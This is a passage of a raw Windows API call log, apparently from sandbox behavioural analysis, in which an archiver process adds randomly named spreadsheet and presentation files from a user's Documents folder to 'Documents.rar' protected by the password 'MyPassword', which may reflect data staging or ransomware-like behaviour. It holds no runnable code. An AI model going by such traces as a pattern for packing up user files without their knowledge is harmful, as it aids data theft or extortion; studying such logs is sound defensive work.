pbBuffer=0x1cd8d0) returned 1 [0069.122] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.122] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2c0)) [0069.122] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.122] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14446237189) returned 1 [0069.122] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x9b97, lpOverlapped=0x0) returned 1 [0069.123] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a9bd7, nNumberOfBytesToRead=0xf6469, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a9bd7*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.123] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0069.123] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0069.123] GetFocus () returned 0x0 [0069.123] TranslateMessage (lpMsg=0x1cd790) returned 0 [0069.123] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0069.123] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b30, Size=0x48) returned 0x39db40 [0069.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b30, Size=0x48) returned 0x39daf0 [0069.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b60 | out: hHeap=0x2e0000) returned 1 [0069.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b30 | out: hHeap=0x2e0000) returned 1 [0069.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b00, Size=0x48) returned 0x39db40 [0069.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.124] GetTickCount () returned 0xa678f9 [0069.124] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14446406130) returned 1 [0069.124] GetTickCount () returned 0xa678f9 [0069.124] GetTickCount () returned 0xa678f9 [0069.124] GetTickCount () returned 0xa678f9 [0069.124] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2e8 | out: ppv=0x1cd2e8*=0x3b65b00) returned 0x0 [0069.124] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b65b00, hwnd=0x10278, tbpFlags=2) returned 0x0 [0069.124] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b65b00, hwnd=0x10278, ullCompleted=0x49565c, ullTotal=0x4b42ce) returned 0x0 [0069.124] TaskbarList:IUnknown:Release (This=0x3b65b00) returned 0x0 [0069.124] GetLastError () returned 0x36b7 [0069.124] SetLastError (dwErrCode=0x36b7) [0069.124] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0069.124] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0069.124] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0069.124] SetWindowTextW (hWnd=0x10298, lpString=" 97%") returned 1 [0069.125] GetLastError () returned 0x0 [0069.125] SetLastError (dwErrCode=0x0) [0069.125] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0069.125] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0069.125] SetWindowTextW (hWnd=0x10294, lpString=" 93%") returned 1 [0069.125] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x58 [0069.125] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.125] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.125] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.126] ResetEvent (hEvent=0x1a4) returned 1 [0069.126] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.127] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.127] ResetEvent (hEvent=0x1a4) returned 1 [0069.127] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.128] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.129] GetTickCount () returned 0xa678f9 [0069.129] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14447005123) returned 1 [0069.130] GetTickCount () returned 0xa678f9 [0069.130] GetTickCount () returned 0xa678f9 [0069.130] GetTickCount () returned 0xa678f9 [0069.130] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.130] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.130] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.130] ResetEvent (hEvent=0x190) returned 1 [0069.130] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.130] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.130] ResetEvent (hEvent=0x190) returned 1 [0069.130] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.131] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.131] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.131] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.131] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x447b89 [0069.131] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x447bf2 [0069.131] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.131] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.131] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.131] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.132] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x9c10, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x9c10, lpOverlapped=0x0) returned 1 [0069.132] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.132] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.132] SetFilePointer (in: hFile=0x198, lDistanceToMove=4488073, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x447b89 [0069.132] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x447b89 [0069.132] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.132] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.132] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b30, Size=0x48) returned 0x39daf0 [0069.132] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.132] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.132] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b30, Size=0x48) returned 0x39db40 [0069.132] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.132] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.132] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.132] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b60 | out: hHeap=0x2e0000) returned 1 [0069.132] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b30 | out: hHeap=0x2e0000) returned 1 [0069.132] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b00, Size=0x48) returned 0x39daf0 [0069.132] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.132] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x69, lpOverlapped=0x0) returned 1 [0069.133] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.133] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x69) returned 0x3b4c710 [0069.133] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.133] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.133] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x451802 [0069.133] CloseHandle (hObject=0x1b0) returned 1 [0069.133] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.133] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.133] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.133] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.133] FindFirstFileW (in: lpFileName="zbK0RkNWW_QYl4NDka.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.133] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.133] CreateFileW (lpFileName="zbK0RkNWW_QYl4NDka.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\zbk0rknww_qyl4ndka.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.133] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.133] GetTickCount () returned 0xa678f9 [0069.133] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.133] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.133] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.133] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.133] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="yudTBCftS3KtXZdN.pptx") returned 21 [0069.133] SetWindowTextW (hWnd=0x10280, lpString="zbK0RkNWW_QYl4NDka.xlsx") returned 1 [0069.133] GetTickCount () returned 0xa678f9 [0069.133] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.133] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.134] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.134] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.134] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2cf)) [0069.134] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.134] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14447429518) returned 1 [0069.134] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x75cd, lpOverlapped=0x0) returned 1 [0069.135] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a760d, nNumberOfBytesToRead=0xf8a33, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a760d*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.135] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b60, Size=0x48) returned 0x39db40 [0069.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.135] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b60, Size=0x48) returned 0x39daf0 [0069.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b90 | out: hHeap=0x2e0000) returned 1 [0069.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b60 | out: hHeap=0x2e0000) returned 1 [0069.135] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b30, Size=0x48) returned 0x39db40 [0069.135] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.136] GetTickCount () returned 0xa678f9 [0069.136] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14447641341) returned 1 [0069.136] GetTickCount () returned 0xa678f9 [0069.136] GetTickCount () returned 0xa678f9 [0069.136] GetTickCount () returned 0xa678f9 [0069.136] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.136] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.136] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.137] ResetEvent (hEvent=0x1a4) returned 1 [0069.137] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.138] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.138] ResetEvent (hEvent=0x1a4) returned 1 [0069.138] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.139] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.139] GetTickCount () returned 0xa67909 [0069.139] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14447947889) returned 1 [0069.139] GetTickCount () returned 0xa67909 [0069.139] GetTickCount () returned 0xa67909 [0069.139] GetTickCount () returned 0xa67909 [0069.139] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.139] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.139] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.139] ResetEvent (hEvent=0x190) returned 1 [0069.139] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.140] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.140] ResetEvent (hEvent=0x190) returned 1 [0069.140] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.140] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.140] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.140] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.140] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x451802 [0069.140] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x45186d [0069.140] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.140] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.140] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.140] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.141] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x7610, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x7610, lpOverlapped=0x0) returned 1 [0069.141] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.141] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.141] SetFilePointer (in: hFile=0x198, lDistanceToMove=4528130, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x451802 [0069.141] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x451802 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.141] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b60, Size=0x48) returned 0x39daf0 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.141] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b60, Size=0x48) returned 0x39db40 [0069.141] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.141] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.141] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b90 | out: hHeap=0x2e0000) returned 1 [0069.141] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b60 | out: hHeap=0x2e0000) returned 1 [0069.141] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b30, Size=0x48) returned 0x39daf0 [0069.141] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.141] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.141] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4c790 [0069.141] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.141] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.142] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x458e7d [0069.142] CloseHandle (hObject=0x1b0) returned 1 [0069.142] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.142] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.142] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.142] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.142] FindFirstFileW (in: lpFileName="ZHKgPcRuClqfpQx70d.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.142] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.142] CreateFileW (lpFileName="ZHKgPcRuClqfpQx70d.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\zhkgpcruclqfpqx70d.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.142] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, 